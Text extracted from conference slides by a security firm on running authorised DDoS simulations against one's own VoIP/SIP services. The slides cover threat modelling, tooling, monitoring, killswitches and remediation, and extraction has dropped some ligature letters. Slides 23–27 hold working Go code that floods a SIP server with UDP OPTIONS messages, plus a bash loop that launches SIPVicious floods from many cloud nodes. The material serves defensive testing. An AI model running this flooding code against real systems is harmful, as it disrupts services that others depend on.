Running DDoS simulations on your own.
Why would you want to do such a thing?
Preparing for destruction
Running the tests – best practices
What happens after the fact
Moving forward towards more robust RTC
3. What is this about?
provide a quick walk-through of performing DDoS attacks
speci c to RTC services
not complete but should help you get started
Distributed Denial of Service: distributed attacks that block
legitimate usage of your service
4. What makes me quali ed to
talk about this?
author of SIPVicious OSS - security testing toolset for SIP
in Infosec / Cyber security since > 20 years
last 14 years doing offensive security and leading Enable Security
5. What we do
we focus on RTC security testing
various cyber-security services
we do DDoS simulation for our clients
9. Serious answers only
to nd out how your critical services are going to react to a DDoS
attack
What if we got attacked?
the purpose is to create a system that can reasonably withstand
most DDoS attacks
10. What if we have some form
of protection mechanism?
most organisations operating in RTC have security solutions
or use technology that is known to be robust
often a hybrid approach, some things are better protected than
others
11. security protection is often implemented but rarely properly tested
until you test, you should not make any assumptions
because …
12. what often happens is that service providers nd out that they
don’t work during an actual attack
this is not ideal!
13. What if we’re trying to
evaluate an anti-DDoS
solution?
how well does it work?
comparing two or more solutions
which one works better given your situation?
14. Our experience
almost all DoS protection mechanisms fail at some point
maybe network tra c bursts are not handled well
maybe slow attacks lead to bypass but still trigger DoS
maybe the security solution looks for particular patterns which can
be bypassed
15. every organisation has limitations
bandwidth
system resources
application bugs / e ciency
the point is to understand if your current protection-level is
su cient against real life attacks
16. Part of Threat modelling
what are your most critical services?
how are they exposed to DDoS attacks?
what do we need to do to protect against these attacks?
17. once you have understood Why, you should move
on to What and How
19. Decide on what your want to
attack and how
bandwidth saturation
generic protocol attacks
speci c app attacks
20. Bandwidth or generic
protocol attacks
often require generic or simple tools
e.g. targeting APIs or SIP servers ( ooding with GET or REGISTER
messages)
21. Attacking speci c
application functionality
needs some homework
Initial tests to determine which parts should be attacked
Look for:
errors, especially if generated during fuzzing
slow responses
increase in memory consumption (even a slight increase)
potential exhaustion of resources
22. Attack tools
for bandwidth saturation and generic protocol attacks, standard or
simple tools are enough
attack tools need to be more e cient than the target application
normally, they generate tra c - replaying messages
23. func flood() {
payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" +
"Content-Length: 0rnrn"
b := make([]byte, 1024)
for {
c, err := net.Dial("udp", "demo.sipvicious.pro:5060")
if err != nil { log.Fatal(err) }
go func() { // Read loop
for { c.Read(b) }
}()
go func() { // Write loop
for { c.Write([]byte(payload)) }
}()
}
}
func main() {
flood()
}
24. func flood() {
payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" +
"Content-Length: 0rnrn"
b := make([]byte, 1024)
for {
c, err := net.Dial("udp", "demo.sipvicious.pro:5060")
if err != nil { log.Fatal(err) }
go func() { // Read loop
for { c.Read(b) }
}()
go func() { // Write loop
for { c.Write([]byte(payload)) }
}()
}
}
func main() {
for i:=0;i<100;i++ { go flood() }
select{}
}
25. Useful features for such
tools
rate limiting
concurrency (e.g. connection count)
26. You need control tools
distribute the attack tools (e.g. use Terraform)
ability to start the attack
and stop the attack
27. #!/bin/bash
IPS=$(linode-cli linodes list --format ipv4 --json | jq -r '[.[][][]] | join(" ")')
for ip in $IPS;
do
ssh root@${ip} sipvicious sip dos flood udp://demo.sipvicious.pro:5060 &
done
29. The killswitch
emphasis on stopping the attack
if attacker machine is no longer reachable but still attacking
may lead to a real security incident!
31. You need attack nodes
these are systems from where to launch your distributed attacks
32. Options
VPS: easy to get started and distributing attacks at low price
VMs: very useful for internal tests in lab environment
Bare metal servers: great for attacks that consume
bandwidth/require decent resources but more expensive
33. Caution when using third-
parties
you will want to make sure that the activity is allowed
that you are not affecting other customers
especially watch out for bandwidth saturation
34. Monitor your bandwidth
usage
even if not testing for bandwidth saturation
might give a false positives (incorrect results)
see our blog post: Why volumetric DDoS cripples VoIP providers
and what we see during pentesting
36. Monitor your application
and system resources
having the ability to switch pro ling on is very useful
ability to debug
37. Don’t forget the people!
the engineers who need to be involved/monitor systems: they
need to be booked
testing on live systems usually means doing tests during off-peak
hours
38. Finally
the test environment: you need a place to test
make sure it is as close to production as possible
sometimes, it is production
45. External monitoring
use a pinger
simulates legitimate tra c periodically (e.g. every 1s)
will indicate major problems but will miss more subtle issues
46. Demo time
we show our Attack Platform that we use to do such tests
Target server - a Kamailio/Asterisk server
Have 3 parts in this demo
Target server
Monitoring system sending SIP ping
Attack platform client (controlling the attacker nodes)
48. Next
when things break, you should get noti ed through monitoring
stop and assess: real work starts here
some of it might be done during the exercise, some later
understanding root cause
49. Best practices
1. Automate as much as possible (capturing of monitoring results,
bandwidth stats)
2. Have a real-time communication channel with the engineers
(e.g. Google Meet)
3. Work with the engineers not against them - collaborate don’t
compete
4. Test your tests ahead of time! don’t do your own QA during the test
5. Document every step done and the results (can be semi-
automated); otherwise you might forget what actually happened
. Set a xed scope + timeframe; know your limits (we stick to 2hrs,
very tiring)
52. really, it depends on your ndings
generally: root cause analysis
might have started already during the actual exercise
might need further exploration, dedicated time and effort
53. Once the root cause for
each nding is determined
solutions or mitigation techniques need to be discussed
jumping to solutions without proper assessment undermines the
whole effort
solutions need to be:
practical and make economic sense
not introduce new problems that prevent legitimate usage
actually address the problems that were identi ed
implemented
54. Examples of solutions
outdated logging library caused locks - updating that library (but
dependency hell)
changes in application con guration
rate limiting solutions
application code changes (result of pro ling and debugging)
56. Finally - documentation &
retest
update your documentation to include details about the solutions
test the solution again
does it work? where does it fail?
feedback loop
58. by doing your own DDoS simulations, you learn about your system
no longer should have to guess if you will handle a real attack
as an RTC provider, you have a duty to keep your RTC <real(-time)=
59. One more thing
Security is often a cat and mouse game
No security solution is perfect, incidence response is critical
How will we handle the next time we get DDoSed?
61. Thanks!
Alan Quayle
My colleague, Alfred Farrugia for the demos
Our clients for allowing us to cause trouble on their applications
and networks
62. Get in touch & References
Email:
Enable Security:
sandro@enablesecurity.com
https://www.enablesecurity.com
Communication Breakdown blog @ rtcsec.com
Subscribe to the RTCSec Newsletter